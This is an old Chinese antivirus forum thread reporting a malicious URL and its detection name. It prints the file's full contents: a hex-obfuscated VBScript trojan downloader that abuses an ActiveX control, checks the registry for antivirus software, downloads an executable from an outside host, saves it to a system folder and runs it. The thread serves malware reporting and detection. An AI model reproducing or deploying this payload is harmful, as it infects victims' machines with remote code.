http://www.aab1.cn/count.gif

显示全部楼层 · 发表于 2008-6-21 22:53:29

检测到：木马程序 Trojan-Downloader.VBS.Psyme.pq URL: http://www.aab1.cn/count.gif

显示全部楼层 · 发表于 2008-6-21 22:59:51

RS20.49.52未杀！

下载时貌似有问题。

显示全部楼层 · 发表于 2008-6-21 23:00:35

Y1="4F6E206572726F7220726573756D65204E6578740D0A58313D22687474703A2F2F61642E36353836322E636F6D2F7265616C2E676966220D0A5365742058323D646F63756D656E742E637265617465456C656D656E7428226F626A22262265637422290D0A58322E7365744174747269627574652022636C6173736964222C22636C7369643A42222622443922262236433535362D363541332D313144302D393833412D303043303446433239453336220D0A536574205831373D58322E6372656174656F626A6563742822575363726970742E5368656C6C222C2222290D0A5831383D5831372E526567526561642822484B4C4D5C534F4654574152455C6164785C436F6E6669675C54696D653122290D0A5831383D583138265831372E526567526561642822484B4C4D5C534F4654574152455C7265616C5C436F6E6669675C54696D653122290D0A5831383D583138265831372E526567526561642822484B4C4D5C534F4654574152455C726973696E675C5261765C22290D0A5831383D583138265831372E526567526561642822484B43555C534F4654574152455C526973696E675C4B614B61546F6F6C4261725C6E616D6522290D0A5831383D583138265831372E526567526561642822484B4C4D5C534F4654574152455C333630736166655C436F6F705C507265506172746E657222290D0A5831383D583138265831372E526567526561642822484B43555C534F4654574152455C4B696E67736F66745C416E746956697275735C496E7374616C6C54696D6522290D0A5831383D583138265831372E526567526561642822484B4C4D5C534F4654574152455C4B6173706572736B794C61625C415650365C656E7669726F6E6D656E745C50726F647563744E616D6522290D0A4966205831383D2222205468656E0D0A58333D224D2226226963722226226F736F66742E582226224D4C48222622545450220D0A5365742058343D58322E4372656174654F626A6563742858332C2222290D0A58353D2241646F220D0A58363D2264622E220D0A58373D22537472220D0A58383D2265616D220D0A58393D58352658362658372658380D0A5831303D58390D0A736574205831313D58322E6372656174656F626A656374285831302C2222290D0A5831312E747970653D310D0A5831323D22474554220D0A58342E4F70656E205831322C58312C46616C73650D0A58342E53656E640D0A5831333D225822264353747228496E742828393939392D313030302B31292A526E642B31303030292926222E636F6D220D0A736574205831343D58322E6372656174656F626A6563742822532226226372692226227074696E672E46222622696C6553792226227374656D4F626A656374222C2222290D0A736574205831353D5831342E4765745370656369616C466F6C6465722832290D0A5831333D5831342E4275696C6450617468285831352C583133290D0A5831312E6F70656E0D0A5831312E77726974652058342E726573706F6E7365426F64790D0A5831312E73617665746F66696C65205831332C320D0A5831312E636C6F73650D0A53657420583136203D2058322E6372656174656F626A6563742822575363726970742E5368656C6C222C2222290D0A5831362E72756E28583133290D0A456E64204966":Y2="EXECUTE """"":Y3="&CHR(&H":Y4=")":DO WHILE LEN(Y1)>1:Y2=Y2&Y3&LEFT(Y1,2)&Y4:Y1=MID(Y1,3)
LOOP:EXECUTE Y2

显示全部楼层 · 发表于 2008-6-21 23:03:13

http://bbs.kafan.cn/viewthread.php?tid=273456&extra=page%3D1

显示全部楼层 · 发表于 2008-6-21 23:05:01

这个你也找到了

显示全部楼层 · 发表于 2008-6-21 23:10:00

看到代码貌似一样就翻翻了,结果一样,纯属巧合

[已鉴定] http://www.aab1.cn/count.gif

1/0

记事本打开后的内容

回复 4楼 shery0000 的帖子

回复 5楼冷冷的帖子

[已鉴定] http://www.aab1.cn/count.gif

1/0

记事本打开后的内容

回复 4楼 shery0000 的帖子

回复 5楼 冷冷 的帖子

回复 5楼冷冷的帖子